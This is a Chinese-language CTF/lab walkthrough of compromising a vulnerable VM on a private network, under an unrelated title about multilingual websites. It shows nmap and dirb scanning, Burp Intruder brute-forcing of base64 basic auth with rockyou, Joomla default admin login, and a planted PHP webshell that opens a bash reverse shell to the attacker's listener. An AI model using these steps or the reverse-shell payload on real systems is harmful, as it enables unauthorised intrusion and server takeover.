网站上设置多语言怎么做在哪网站开发软件
1.开启靶机，确保网络适配器是NAT网段
2.借助kali虚拟机来确定该靶机的IP地址为192.168.139.169
nmap -O 192.168.139.1/24
3.访问该IP地址
4.访问robots.txt，什么也没有
5.扫描目录
dirb http://192.168.139.169
6.访问一下secret.txt
7.访问phpinfo.php
8.访问8080，尝试爆破这个密码
9.打开BP抓包，发现是base64编码
10.在secret.txt发现一些有用信息，要在kali里面进行操作
cd /usr/share/wordlists
ls
gzip -d /usr/share/wordlists/rockyou.txt.gz
cat rockyou.txt
复制字典的前一百个生成一个txt，后面爆破用。11.打开BP进行抓包，抓8080端口的包
12.发送到Intrder模块进行爆破，开始攻击
爆破出状态码200，然后解码，账号密码为joker:hannah
13.进行登录
14.登陆成功可以发现该网站是由joomla架构，尝试使用默认账号密码joomla
15.点击后台管理系统
16.用户名和密码joomla
17.可以看到这是他网站的一些模板
18.这里可以新建文件
19.新建666.php写入木马，利用菜刀或者蚁剑进行链接
<?phpexec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.139.142/5555 0>&1'");?>
20.利用kali监听
21.访问http://192.168.139.169:8080/templates/beez3/666.php
回到kali查看是否监听到
